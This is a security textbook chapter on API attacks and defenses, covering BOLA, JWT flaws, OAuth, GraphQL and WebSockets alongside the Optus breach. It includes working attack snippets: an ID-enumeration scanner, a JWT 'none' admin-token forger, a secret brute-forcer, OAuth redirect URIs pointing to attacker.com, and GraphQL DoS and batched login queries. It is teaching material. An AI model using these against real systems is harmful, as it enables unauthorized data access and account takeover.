API and Modern Application Security
REST API vulnerabilities, GraphQL attacks, OAuth/OIDC exploitation, JWT weaknesses, and modern application security
Chapter 11: API and Modern Application Security
The Optus API Disaster
In September 2022, OptusβAustraliaβs second-largest telecommunications company with 10 million customersβdiscovered a catastrophic data breach. Attackers had accessed personal data of 9.8 million customers, including names, dates of birth, addresses, phone numbers, and for some, passport and driverβs license numbers.
The attack vector? An unauthenticated API endpoint.
Optus had exposed a customer identity API to the internet without requiring authentication. The API accepted sequential customer identifiers, allowing attackers to iterate through records and extract personal data one customer at a time. There was no rate limiting, no anomaly detection, and no access logging that might have caught the enumeration in progress.
The breach cost Optus over $140 million AUD in immediate remediation, triggered Australiaβs largest data breach investigation, led to regulatory reform requiring the telecommunications industry to fund new digital identity protections, and prompted the resignation of the companyβs CEO Kelly Bayer Rosmarin.
A simple authentication checkβstandard API security practiceβwould have prevented the entire incident.
Modern applications expose APIs as their primary interfaceβnot just for web frontends, but for mobile apps, third-party integrations, and internal microservices. These APIs carry sensitive data and privileged operations, making them high-value targets. API security is no longer a specialtyβitβs a fundamental skill for every security professional.
Why API Security Matters
The application architecture landscape has fundamentally shifted:
Traditional Web Application (2000s)
Traditional Web Application (2000s):
βββββββββββββββββββββββββββββββββββ
[Browser] βββHTTPββββΊ [Web Server] ββββΊ [App Logic] ββββΊ [Database]
β
Renders HTML
β
ββββββββββββββ
Modern API-Driven Application (2020s):
βββββββββββββββββββββββββββββββββββββ
[Browser SPA] βββ ββββΊ [Service A]
[Mobile App] ββββΌββ API Gateway ββββββΌβββΊ [Service B]
[Partner App] βββ€ β ββββΊ [Service C]
[IoT Device] ββββ β ββββΊ [Service D]
β
[Auth Service]
β
[Rate Limiter]
Why this matters for security:
| Traditional | Modern API-Driven |
|---|---|
| Single entry point | Multiple entry points |
| Server renders all output | Client interprets raw data |
| Sessions manage state | Tokens manage state |
| Security through obscurity possible | APIs documented and discoverable |
| Attacks require browser interaction | Attacks can be fully automated |
The OWASP API Security Top 10
The OWASP API Security Project identifies the most critical API security risks:
| Risk | Description | Impact |
|---|---|---|
| API1:2023 | Broken Object Level Authorization (BOLA) | Unauthorized data access |
| API2:2023 | Broken Authentication | Account takeover |
| API3:2023 | Broken Object Property Level Authorization | Data exposure/manipulation |
| API4:2023 | Unrestricted Resource Consumption | DoS, financial impact |
| API5:2023 | Broken Function Level Authorization | Privilege escalation |
| API6:2023 | Unrestricted Access to Sensitive Business Flows | Business logic abuse |
| API7:2023 | Server Side Request Forgery | Internal resource access |
| API8:2023 | Security Misconfiguration | Various |
| API9:2023 | Improper Inventory Management | Shadow API exposure |
| API10:2023 | Unsafe Consumption of APIs | Supply chain attacks |
Weβll explore the most critical of these with practical examples.
Broken Object Level Authorization (BOLA)
BOLA (formerly IDOR) is the #1 API security riskβand itβs devastatingly simple.
The Vulnerability
APIs often expose endpoints that accept object identifiers:
GET /api/v1/users/12345/profile
GET /api/v1/orders/67890
GET /api/v1/documents/abc123
If the API doesnβt verify that the authenticated user has permission to access the specified object, attackers can access other usersβ data by simply changing the ID.
Attack Example
Legitimate request
Legitimate request:
βββββββββββββββββββ
GET /api/v1/users/100/bank-details
Authorization: Bearer eyJ...user_100_token...
Response:
{
"user_id": 100,
"account_number": "****1234",
"routing_number": "****5678"
}
BOLA attack:
ββββββββββββ
GET /api/v1/users/101/bank-details β Changed ID
Authorization: Bearer eyJ...user_100_token... β Same token!
Vulnerable Response:
{
"user_id": 101,
"account_number": "****9999", β Different user's data!
"routing_number": "****0000"
}
Attack Automation
#!/usr/bin/env python3
"""
BOLA Scanner - Educational demonstration
Only use against APIs you have authorization to test!
"""
import requests
import time
def scan_bola(base_url, endpoint_template, token, id_range):
"""
Scan for BOLA vulnerability by iterating through object IDs.
Args:
base_url: API base URL
endpoint_template: Endpoint with {id} placeholder
token: Valid authentication token
id_range: Range of IDs to test
"""
headers = {
'Authorization': f'Bearer {token}',
'Content-Type': 'application/json'
}
accessible_objects = []
for obj_id in id_range:
url = base_url + endpoint_template.format(id=obj_id)
try:
response = requests.get(url, headers=headers)
if response.status_code == 200:
print(f"[+] Accessible: {url}")
accessible_objects.append({
'id': obj_id,
'data': response.json()
})
elif response.status_code == 403:
print(f"[-] Forbidden: {url}")
elif response.status_code == 404:
pass # Object doesn't exist
else:
print(f"[?] Status {response.status_code}: {url}")
time.sleep(0.5) # Rate limiting
except Exception as e:
print(f"[!] Error: {e}")
return accessible_objects
# Example usage (authorized testing only!)
# results = scan_bola(
# "https://api.example.com",
# "/api/v1/users/{id}/profile",
# "your_token_here",
# range(1, 1000)
# )
Detection
Network indicators:
- Sequential or patterned object ID requests
- Same authentication token accessing many different user resources
- 200 responses for resources that should be 403
Log analysis:
# Look for users accessing resources outside their normal pattern
# Assuming you log user_id and requested_resource_owner_id
SELECT
request_user_id,
resource_owner_id,
COUNT(*) as access_count
FROM api_access_logs
WHERE request_user_id != resource_owner_id
GROUP BY request_user_id, resource_owner_id
HAVING COUNT(*) > 10
ORDER BY access_count DESC;
Defense
- Authorization checks at the data access layer:
# Bad - no authorization check
def get_user_profile(user_id):
return db.query(User).filter(User.id == user_id).first()
# Good - verify ownership
def get_user_profile(user_id, requesting_user):
user = db.query(User).filter(User.id == user_id).first()
if user is None:
raise NotFoundError()
if user.id != requesting_user.id and not requesting_user.is_admin:
raise ForbiddenError()
return user
- Use unpredictable identifiers:
Bad: /api/users/1, /api/users/2, /api/users/3
Good: /api/users/550e8400-e29b-41d4-a716-446655440000
UUIDs donβt prevent BOLA, but they make enumeration harder.
- Implement proper access control middleware:
@app.route('/api/users/<user_id>/profile')
@require_auth
@require_ownership_or_admin('user_id') # Decorator checks authorization
def get_user_profile(user_id):
return UserService.get_profile(user_id)
PRO TIP
When testing for BOLA, donβt just increment IDs. Try: different usersβ IDs (if you have multiple test accounts), the ID 0 and 1 (often admin or system accounts), negative numbers, maximum integer values, and IDs from different object types (sometimes user ID 1 is also order ID 1).
Authentication Vulnerabilities
Modern APIs typically use token-based authentication rather than sessions. Each method has its own vulnerabilities.
JWT Vulnerabilities
JSON Web Tokens (JWTs) are the dominant API authentication mechanismβand a rich source of vulnerabilities.
JWT Structure
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
[Header].[Payload].[Signature]
Header (base64):
{
"alg": "HS256", β Algorithm
"typ": "JWT"
}
Payload (base64):
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022,
"exp": 1516242622,
"role": "user" β Claims attackers want to modify
}
Signature:
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)
Algorithm Confusion Attack
Some JWT libraries allow the algorithm to be specified in the header. If the server accepts βnoneβ as an algorithm, you can forge tokens:
import base64
import json
def forge_jwt_none_algorithm(payload):
"""
Create a JWT with alg: none (unsigned).
Only works if server accepts 'none' algorithm.
"""
header = {
"alg": "none",
"typ": "JWT"
}
header_b64 = base64.urlsafe_b64encode(
json.dumps(header).encode()
).rstrip(b'=').decode()
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()
).rstrip(b'=').decode()
# No signature needed with alg: none
return f"{header_b64}.{payload_b64}."
# Forge admin token
malicious_payload = {
"sub": "1234567890",
"name": "Attacker",
"role": "admin", # Elevated privileges
"iat": 1516239022,
"exp": 9999999999
}
forged_token = forge_jwt_none_algorithm(malicious_payload)
RS256 to HS256 Algorithm Switch
A more sophisticated attack: if the server uses RS256 (asymmetric) but accepts HS256 (symmetric), you can sign tokens using the public key as the secret:
RS256 (intended):
- Server signs with private key
- Server verifies with public key
- Attacker doesn't have private key β can't forge
HS256 attack:
- Attacker has public key (it's public!)
- Attacker signs with public key as HS256 secret
- If server accepts HS256, it verifies with public key as secret
- Verification succeeds β forged token accepted!
Weak Secret Keys
import jwt
import itertools
import string
def crack_jwt_secret(token, wordlist):
"""
Brute-force JWT secret from wordlist.
Only for authorized security testing!
"""
for secret in wordlist:
try:
jwt.decode(token, secret, algorithms=['HS256'])
return secret
except jwt.InvalidSignatureError:
continue
return None
# Common weak secrets to try:
weak_secrets = [
'secret',
'password',
'jwt_secret',
'changeme',
'your-256-bit-secret',
# ... many more
]
JWT Best Practices
# Secure JWT configuration
import jwt
from datetime import datetime, timedelta
SECRET_KEY = os.environ.get('JWT_SECRET') # Strong, from environment
ALGORITHM = 'RS256' # Asymmetric preferred
def create_token(user_id, role):
payload = {
'sub': str(user_id),
'role': role,
'iat': datetime.utcnow(),
'exp': datetime.utcnow() + timedelta(hours=1), # Short expiry
'jti': str(uuid.uuid4()) # Unique token ID for revocation
}
return jwt.encode(payload, PRIVATE_KEY, algorithm=ALGORITHM)
def verify_token(token):
try:
payload = jwt.decode(
token,
PUBLIC_KEY,
algorithms=[ALGORITHM], # Explicit algorithm list
options={
'require': ['exp', 'iat', 'sub'], # Required claims
'verify_exp': True
}
)
# Additional checks
if is_token_revoked(payload['jti']):
raise jwt.InvalidTokenError('Token revoked')
return payload
except jwt.ExpiredSignatureError:
raise AuthenticationError('Token expired')
except jwt.InvalidTokenError as e:
raise AuthenticationError(f'Invalid token: {e}')
OAuth 2.0 Vulnerabilities
OAuth 2.0 is the standard for delegated authorizationβallowing applications to access resources on behalf of users. Its complexity creates many attack opportunities.
OAuth Flow Overview
Authorization Code Flow
Authorization Code Flow:
βββββββββββββββββββββββ
ββββββββ ββββββββββββββββ
β β 1. Redirect to authorize β β
β User βββββββββββββββββββββββββββββββΊβ Auth Server β
β β β β
ββββ¬ββββ ββββββββ¬ββββββββ
β β
β 2. User authenticates & consents β
β β
β 3. Redirect with authorization code β
βΌββββββββββββββββββββββββββββββββββββββββββ
ββββββββ
β β 4. Exchange code for tokens
βClientβββββββββββββββββββββββββββββββββββββββ
β App β β
ββββ¬ββββ βΌ
β ββββββββββββββββ
β 6. Access API with token β β
βββββββββββββββββββββββββββββββΊβ Resource API β
β β
ββββββββββββββββ
5. Returns access_token, refresh_token
Redirect URI Manipulation
The redirect_uri parameter is where the authorization server sends the user after authentication. If validation is weak, attackers can steal authorization codes:
Legitimate:
https://auth.example.com/authorize?
client_id=app123&
redirect_uri=https://app.example.com/callback&
response_type=code&
state=abc123
Attack - open redirect:
https://auth.example.com/authorize?
client_id=app123&
redirect_uri=https://app.example.com/callback/../../../attacker.com&
response_type=code&
state=abc123
Attack - subdomain bypass:
redirect_uri=https://evil.app.example.com/callback
Attack - parameter pollution:
redirect_uri=https://app.example.com/callback&redirect_uri=https://attacker.com
Authorization Code Interception
Without PKCE (Proof Key for Code Exchange), authorization codes can be intercepted:
Without PKCE
Without PKCE:
ββββββββββββ
1. Attacker installs malicious app on victim's device
2. Malicious app registers same custom URL scheme as legitimate app
3. When auth server redirects with code, malicious app receives it
4. Malicious app exchanges code for tokens
With PKCE:
ββββββββββ
1. Client generates random code_verifier
2. Client sends hash of verifier (code_challenge) in auth request
3. After receiving code, client sends original code_verifier
4. Server verifies hash matches β only original client can exchange code
PKCE Implementation
import hashlib
import base64
import secrets
def generate_pkce_pair():
"""Generate PKCE code_verifier and code_challenge."""
# Generate random verifier (43-128 chars)
code_verifier = base64.urlsafe_b64encode(
secrets.token_bytes(32)
).rstrip(b'=').decode()
# Create challenge (SHA256 hash of verifier)
code_challenge = base64.urlsafe_b64encode(
hashlib.sha256(code_verifier.encode()).digest()
).rstrip(b'=').decode()
return code_verifier, code_challenge
# Authorization request includes code_challenge
# Token request includes code_verifier
OAuth Security Checklist
- Always use PKCE for public clients
- Validate redirect_uri exactly (no wildcards)
- Use short-lived authorization codes (< 10 minutes)
- Bind tokens to client
- Implement state parameter to prevent CSRF
- Use HTTPS everywhere
- Limit scope to minimum necessary
- Validate scopes on resource server, not just auth server
GraphQL Security
GraphQL offers a flexible query language for APIsβand introduces unique security challenges.
GraphQL vs REST
REST GraphQL
REST: GraphQL:
βββββ ββββββββ
GET /users/1 query {
GET /users/1/posts user(id: 1) {
GET /users/1/posts/1/comments name
posts {
3 requests, fixed response shape title
comments {
text
}
}
}
}
1 request, client defines shape
Introspection Disclosure
GraphQL schemas are often discoverable via introspection queries:
# Introspection query to dump entire schema
{
__schema {
types {
name
fields {
name
type {
name
}
}
}
}
}
# Query to find all queries and mutations
{
__schema {
queryType {
fields {
name
description
args {
name
type { name }
}
}
}
mutationType {
fields {
name
args {
name
type { name }
}
}
}
}
}
Denial of Service via Deep Queries
GraphQL allows nested queries that can overwhelm servers:
# Exponential complexity attack
query DosAttack {
users { # 100 users
posts { # Γ 50 posts each
comments { # Γ 100 comments each
author { # Γ 1 author
posts { # Γ 50 posts
comments { # = 25,000,000 comments
text
}
}
}
}
}
}
}
Batching Attacks
GraphQL often allows multiple operations in one request:
# Brute force via batching
mutation {
login1: login(email: "user@example.com", password: "password1") { token }
login2: login(email: "user@example.com", password: "password2") { token }
login3: login(email: "user@example.com", password: "password3") { token }
# ... 1000 more attempts in single request
}
GraphQL Defense
// Apollo Server with security configurations
const server = new ApolloServer({
typeDefs,
resolvers,
// Disable introspection in production
introspection: process.env.NODE_ENV !== 'production',
// Query depth limiting
validationRules: [
depthLimit(5), // Max nesting depth
createComplexityLimitRule(1000), // Max query complexity
],
plugins: [
// Rate limiting plugin
ApolloServerPluginRateLimiting({
windowMs: 60000,
max: 100
}),
// Query logging for detection
{
requestDidStart() {
return {
didResolveOperation({ request, document }) {
logQuery(request, getComplexity(document));
}
}
}
}
]
});
WebSocket Security
WebSockets enable bidirectional, real-time communicationβwith security implications often overlooked.
WebSocket Vulnerabilities
// Insecure WebSocket implementation
const ws = new WebSocket('ws://api.example.com/chat');
ws.onopen = () => {
// No authentication!
ws.send(JSON.stringify({
type: 'message',
room: 'admin-channel', // Unauthorized room access
content: 'Malicious message'
}));
};
// Cross-Site WebSocket Hijacking (CSWSH)
// If Origin header isn't validated, attacker's page can connect
// using victim's cookies/session
WebSocket Defense
// Secure WebSocket server
const WebSocket = require('ws');
const jwt = require('jsonwebtoken');
const wss = new WebSocket.Server({
port: 8080,
verifyClient: (info, callback) => {
// Validate Origin
const allowedOrigins = ['https://app.example.com'];
if (!allowedOrigins.includes(info.origin)) {
callback(false, 403, 'Origin not allowed');
return;
}
// Validate authentication token
const token = info.req.headers['sec-websocket-protocol'];
try {
const decoded = jwt.verify(token, SECRET_KEY);
info.req.user = decoded;
callback(true);
} catch (err) {
callback(false, 401, 'Invalid token');
}
}
});
wss.on('connection', (ws, req) => {
const user = req.user;
ws.on('message', (message) => {
const data = JSON.parse(message);
// Authorize each action
if (data.type === 'join_room') {
if (!canUserAccessRoom(user, data.room)) {
ws.send(JSON.stringify({ error: 'Unauthorized' }));
return;
}
}
// Input validation
if (!isValidMessage(data)) {
ws.close(1008, 'Invalid message format');
return;
}
// Process message
handleMessage(user, data);
});
});
API Security Testing Methodology
Reconnaissance
# Discover API endpoints
# 1. Check documentation
curl https://api.example.com/docs
curl https://api.example.com/swagger.json
curl https://api.example.com/openapi.json
# 2. Check JavaScript files for endpoints
# Download SPA bundle and search for /api/ patterns
# 3. Wordlist-based discovery
gobuster dir -u https://api.example.com -w api-wordlist.txt
# 4. Check for GraphQL
curl https://api.example.com/graphql -d '{"query":"{__typename}"}'
Authentication Testing
# Test for weak JWT secrets
jwt-cracker <token>
# Test algorithm confusion
python3 jwt_tool.py <token> -X a # Try all algorithms
# Test for none algorithm
python3 jwt_tool.py <token> -X n
# Test OAuth misconfiguration
# Check redirect_uri validation
# Test PKCE bypass
# Check scope escalation
Authorization Testing
# BOLA testing
# Get resource with user A's token
curl -H "Authorization: Bearer A_TOKEN" https://api.example.com/users/1/data
# Try accessing user B's resource
curl -H "Authorization: Bearer A_TOKEN" https://api.example.com/users/2/data
# Function-level authorization
# Try accessing admin endpoints with regular user
curl -H "Authorization: Bearer USER_TOKEN" https://api.example.com/admin/users
Rate Limiting Tests
import asyncio
import aiohttp
async def test_rate_limits(url, token, num_requests=1000):
"""Test API rate limiting."""
async with aiohttp.ClientSession() as session:
headers = {'Authorization': f'Bearer {token}'}
async def make_request(i):
async with session.get(url, headers=headers) as resp:
return resp.status
tasks = [make_request(i) for i in range(num_requests)]
results = await asyncio.gather(*tasks)
success = results.count(200)
rate_limited = results.count(429)
print(f"Success: {success}, Rate Limited: {rate_limited}")
if rate_limited == 0:
print("[!] No rate limiting detected!")
Defense Strategies
Defense in Depth for APIs
Layer 1 Edge Protection (WAF, API Gateway)
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Layer 1: Edge Protection (WAF, API Gateway) β
β - Rate limiting, basic input validation, bot protection β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Layer 2: Authentication β
β - Strong token validation, OAuth security, session management β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Layer 3: Authorization β
β - Object-level, function-level, field-level access control β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Layer 4: Input Validation β
β - Schema validation, type checking, sanitization β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Layer 5: Business Logic β
β - Rate limiting sensitive operations, fraud detection β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Layer 6: Data Protection β
β - Encryption, field masking, audit logging β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
API Security Checklist
- Authentication on all endpoints (except truly public ones)
- Authorization checks for every resource access
- Rate limiting per user, IP, and globally
- Input validation (schema-based)
- Output encoding/escaping
- TLS everywhere (minimum TLS 1.2)
- Security headers (CORS, Content-Type, etc.)
- Logging and monitoring
- API versioning strategy
- Deprecation process for old versions
- Regular security testing
Key Takeaways
-
APIs are the primary attack surface for modern applicationsβunderstanding API security is essential
-
BOLA (Broken Object Level Authorization) is the #1 API vulnerabilityβalways verify resource access permissions
-
JWT security requires careful implementation: validate algorithms, use strong secrets, implement proper expiry
-
OAuth complexity creates vulnerabilitiesβalways use PKCE, validate redirect URIs exactly
-
GraphQL introduces unique risks: introspection disclosure, DoS via complex queries, batching attacks
-
WebSockets need authentication and authorization for each message, not just the connection
-
Defense in depth applies to APIs: multiple layers from edge protection to data protection
Review Questions
-
What is BOLA, and why is it the #1 API security vulnerability?
-
Describe the JWT βalgorithm confusionβ attack and how to prevent it.
-
Why is PKCE important for OAuth security, and how does it work?
-
What unique security challenges does GraphQL introduce compared to REST?
-
How would you test an API for authorization vulnerabilities?
Further Reading
- OWASP API Security Top 10: owasp.org/API-Security
- JWT.io Debugger: jwt.io
- OAuth 2.0 Security Best Practices: tools.ietf.org/html/draft-ietf-oauth-security-topics
- GraphQL Security: graphql.org/learn/authorization/